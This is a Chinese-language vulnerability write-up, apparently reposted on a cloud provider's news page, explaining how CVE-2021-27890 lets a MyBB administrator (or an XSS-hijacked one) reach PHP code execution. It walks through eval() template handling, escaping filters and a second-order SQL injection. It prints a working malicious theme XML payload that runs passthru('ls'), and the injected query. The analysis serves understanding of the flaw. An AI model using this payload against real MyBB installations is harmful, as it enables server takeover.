您好,登錄后才能下訂單哦!
SQL注入導致RCE漏洞CVE-2021-27890的示例分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
下面將這個有點復雜的SQL注入導致的RCE的形成原理講清楚,先放從全文提煉的關鍵部分
1、模板取值使用危險函數eval(“字符串”),字符串的一部分是從數據庫取值,從數據庫所取的值是由用戶輸入
2、想使用如下形式執行代碼
eval('echo "hi, ybdt!";');
碰到過濾一:對插入到數據庫的雙引號進行了轉義,導致不能代碼不能執行,如下所示
eval('echo "passthru(\"dir\")";');
3、想要在模板值中不使用雙引號,即使用如下這種形式
eval('echo "${passthru(dir)}";');
碰到過濾二:MyBB會阻止將模板改為這種形式
4、通過導入模板時,模板某個屬性存在二階SQL注入漏洞,以此繞過3中的過濾
國外著名論壇軟件MyBB在1.8.16<=版本<=1.8.25受2個漏洞影響,在默認的MyBB配置下,這2個漏洞能被連在一起使用最終導致遠程代碼執行。第1個漏洞(“內嵌的自動URL”導致持久型XSS——CVE-2021-27889)發生在MyBB的渲染過程,允許任何普通論壇用戶來嵌入存儲型XSS攻擊代碼到帖子甚至私信中。
第2個漏洞(“主題屬性中的SQL注入”導致RCE——CVE-2021-27890)是由于主題屬性中存在SQL注入最終導致RCE,漏洞被觸發需要管理員權限
一個經驗豐富的攻擊者能夠開發一個針對存儲型XSS的利用,然后發送一個私信給管理員,管理員登錄論壇后打開私信,漏洞被觸發,一個RCE的利用代碼將在后臺自動執行,最終完全接管MyBB服務器
上一篇文章提到的XSS漏洞是針對MyBB論壇管理員的攻擊。如果攻擊者成功注入JavaScript代碼到正在登錄論壇的管理員瀏覽器,他將能夠執行任何管理員能執行的動作。但是MyBB限制比較嚴格,甚至阻止了管理員執行任意PHP代碼,因此我們將呈現一個需要管理員權限的授權的RCE漏洞
MyBB管理員能訪問的特性之一是MyBB論壇的主題管理器。一個MyBB主題包括一系列鍵值對,鍵指向當前頁面的內容,值包含當前頁面的內容。
下列是一個例子對于MyBB如何顯示一個主題
eval('$modcplink = "'.$templates->get('header_welcomeblock_member_moderator').'";');
上述例子中表示主題中的鍵header_welcomeblock_member_moderator被請求。相應的,主題內容的值如下
<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>
這意味著最終傳遞給eval()的字符串如下
$modcplink = "<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>";
正如你能看到,字符串是被包含在雙引號中的,且PHP變量{$mybb->user['username']}是被插入到字符串中。由于{$mybb->user['username']}被存儲到數據庫中時,MyBB會轉義其中的雙引號,因此沒辦法跳出雙引號,也就沒法導致遠程代碼執行
另外一個能導致RCE的PHP技巧是,攻擊者修改模板,添加一個$到變量前,變成字符串內插,如下所示
$modcplink = "<div id='welcomeblock_back'><b>${arbitrary_function()}</b></div>";
然而,MyBB也會通過阻止管理員插入這樣的形式來阻止這種特有的PHP技巧。
這意味著如果我們能夠發現一種方式繞過MyBB過濾器,我們將依舊能夠執行任意PHP代碼。我們將通過一個SQL注入實現繞過
MyBB主題能被導入通過XML文件,這個XML文件包含一系列主題屬性(例如圖像目錄或版本),即一系列鍵值對,這一系列鍵值對將被讀取,其中name是和鍵相關的,value是內容。這是一個例子:
<?xml version="1.0" encoding="UTF-8"?> <theme name="Theme Example" version="1405"> <properties> <templateset><![CDATA[10]]></templateset> <imgdir><![CDATA[images/]]></imgdir> <logo><![CDATA[images/logo.png]]></logo> </properties> <stylesheets></stylesheets> <templates> <template name="header_welcomeblock_member_moderator" version="1404"><![CDATA[ <div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div> ]]></template> </templates> </theme>
當一個管理員導入這樣一個主題,XML是被解析,然后主題屬性被存儲到數據庫。templateset屬性存在二階SQL注入
當這些主題被上傳時,它們是被插入到MyBB的數據庫實例中,并且在之后的其他SQL查詢中沒有任何過濾
我們已經知道了MyBB模板內容的值將傳遞給eval(),因此一個能控制主題屬性值的攻擊者將能夠導致任意PHP代碼執行。下列段落描述了SQL注入,讓一個攻擊者能夠注入惡意模板代碼到eval()調用中。
在每一個頁面被載入的開始,MyBB會從數據庫中取出全部的模板值,并存儲它們到一個緩存中,其中SQL查詢會使用templateset屬性取到全部的模板值,這個templateset屬性是被嵌入到查詢字符串中,因此一個SQL注入漏洞發生了:
$query = $db->simple_select("templates", "title,template", "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'asc')
正如被展示,查詢會簡單的拼接templateset屬性。使用一個惡意的主題,一個人能夠控制這個屬性,然后讓這個緩存函數返回攻擊者控制的值。這是一個例子對于這樣一個構造的主題使用一個SQL注入payload:
<?xml version="1.0" encoding="UTF-8"?> <theme name="Default" version="1821"> <properties> <templateset>') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- </templateset> </properties> </theme>
最終的SQL查詢將看起來如下:
SELECT title, template FROM mybb_templates WHERE title IN (‘header_welcomeblock_member_moderator’, ‘...’) AND SID IN (‘-2’, ‘-1’, ‘’) AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- ’)
通過這個SQL注入,使用攻擊者控制的數據來施毒模板緩存,其沒有經過任何轉義或過濾,這些模板值是完全攻擊者控制的,然后被傳遞給eval()的雙引號字符串中,因此我們能執行任意PHP代碼在${}語法中。最終,一個攻擊者能夠執行任意PHP代碼,然后拿下服務器
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。